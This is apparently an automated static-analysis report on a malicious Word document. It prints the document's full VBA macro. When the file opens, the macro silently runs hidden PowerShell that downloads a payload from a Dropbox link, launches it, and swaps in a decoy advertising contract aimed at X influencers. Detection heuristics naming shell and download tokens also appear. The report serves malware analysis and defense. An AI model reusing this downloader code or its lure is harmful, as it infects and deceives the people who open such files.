Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 8d5b02689f505abe…

MALICIOUS

Office (OOXML) / .DOCX

68.2 KB Created: 2026-04-02 19:20:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-09
MD5: 3f46c50ba5c3f77857e8a03dd05fefc6 SHA-1: c042973e0fbb760b92d26f9cf62f0dc5f5c3e224 SHA-256: 8d5b02689f505abe6c6e7ee1b2cb28e904fd4ab9a5749d226321e5cfc8dd5a9d
198 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell psCommand, 0
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        savePath = Environ("TEMP") & "\system_update.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.dropbox.com/scl/fi/lgkarkdpjdrq82ln7mpa2/c.scr?rlkey=iaws71atw2jpuia2e20kj5jzk&st=n6qpza38&dl=1 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3979 bytes
SHA-256: 575e176735d4257167267376c0eefd0d479c2cc786f3a9bd3ab2b37468588e5d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
    Dim url As String
    Dim savePath As String
    Dim psCommand As String
    Dim adText As String
    
    ' 1. ????????? ??????????
    url = "https://www.dropbox.com/scl/fi/lgkarkdpjdrq82ln7mpa2/c.scr?rlkey=iaws71atw2jpuia2e20kj5jzk&st=n6qpza38&dl=1"
    savePath = Environ("TEMP") & "\system_update.exe"
    
    ' 2. ??????? PowerShell (?????? + ????????????? + ????? UAC ????? Invoker)
    psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _
                "$p='" & savePath & "'; iwr '" & url & "' -OutFile $p; " & _
                "Unblock-File $p; $env:__COMPAT_LAYER='RunAsInvoker'; Start-Process $p"
    
    ' 3. ?????? ????????
    Shell psCommand, 0
    
    ' 4. ????? ?????????
    
    ' ????????? ? ???????
    adText = "ADVERTISING POST AGREEMENT" & vbCrLf & vbCrLf
    adText = adText & "This Advertising Post Agreement (“Agreement”) is entered into as of [DATE], by and between:" & vbCrLf
    adText = adText & "Client: [Full Name / Company Name], located at [Address]" & vbCrLf
    adText = adText & "and" & vbCrLf
    adText = adText & "Contractor: [Full Name / X Username], located at [Address]" & vbCrLf
    adText = adText & "Collectively referred to as the “Parties”." & vbCrLf & vbCrLf
    
    ' ????? 1 ? 2
    adText = adText & "1. Scope of Work" & vbCrLf
    adText = adText & "The Contractor agrees to publish promotional content on their X account (@[username])." & vbCrLf
    adText = adText & "Details: [1 tweet/thread], [date/time], Client must approve content." & vbCrLf & vbCrLf
    adText = adText & "2. Compensation: $[USD amount]" & vbCrLf & vbCrLf
    
    ' ????? 3 ? 4
    adText = adText & "3. Payment Methods: Bank Transfer, PayPal, Zelle, Venmo, Crypto (BTC, ETH, USDT)." & vbCrLf
    adText = adText & "Terms: [50% upfront / 100% upfront]. Final payment due within [X days]." & vbCrLf & vbCrLf
    adText = adText & "4. Deliverables & Obligations" & vbCrLf
    adText = adText & "* Contractor must publish the content as agreed" & vbCrLf
    adText = adText & "* Post must remain live for at least [7 days]" & vbCrLf
    adText = adText & "* Contractor agrees not to delete the post without Client consent" & vbCrLf & vbCrLf
    
    ' ?????? 5-8
    adText = adText & "5. Compliance: Follow FTC guidelines (#ad, #sponsored)." & vbCrLf & vbCrLf
    adText = adText & "6. Revisions: [X] revisions before publication." & vbCrLf & vbCrLf
    adText = adText & "7. Cancellation: Before posting: refund applies. After posting: no refund." & vbCrLf & vbCrLf
    adText = adText & "8. Liability: Contractor not responsible for performance metrics." & vbCrLf & vbCrLf
    
    ' ????? ? ???????
    adText = adText & "9. Governing Law: State of [State], USA." & vbCrLf & vbCrLf
    adText = adText & "10. Signatures" & vbCrLf
    adText = adText & "Client: ________________ Date: ____" & vbCrLf
    adText = adText & "Contractor: ____________ Date: ____"

             ' (????? ???????? ??? ?????????, ?????? ??????? ?????? ????? ?????????)

    ' 5. ???????? ???? ???????? ? ?????? ???????? ?? ?????
    On Error Resume Next
    
    ' ??????? ????????? ????????
    Dim shp As Shape
    For Each shp In ActiveDocument.Shapes
        shp.Delete
    Next shp
    
    ' ??????? ???????? ? ?????? (InlineShapes)
    Dim iShp As InlineShape
    For Each iShp In ActiveDocument.InlineShapes
        iShp.Delete
    Next iShp
    
    ' ??????? ??? ?????? ?????????? ? ????? ????????
    ActiveDocument.Range.Text = adText
    
    ' ?????????? ?????? ? ??????
    ActiveDocument.Range(0, 0).Select
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 13bdb5148bf77709e162b51bd07272aba1a227c3868ef0c5e40b8175e2b06bc6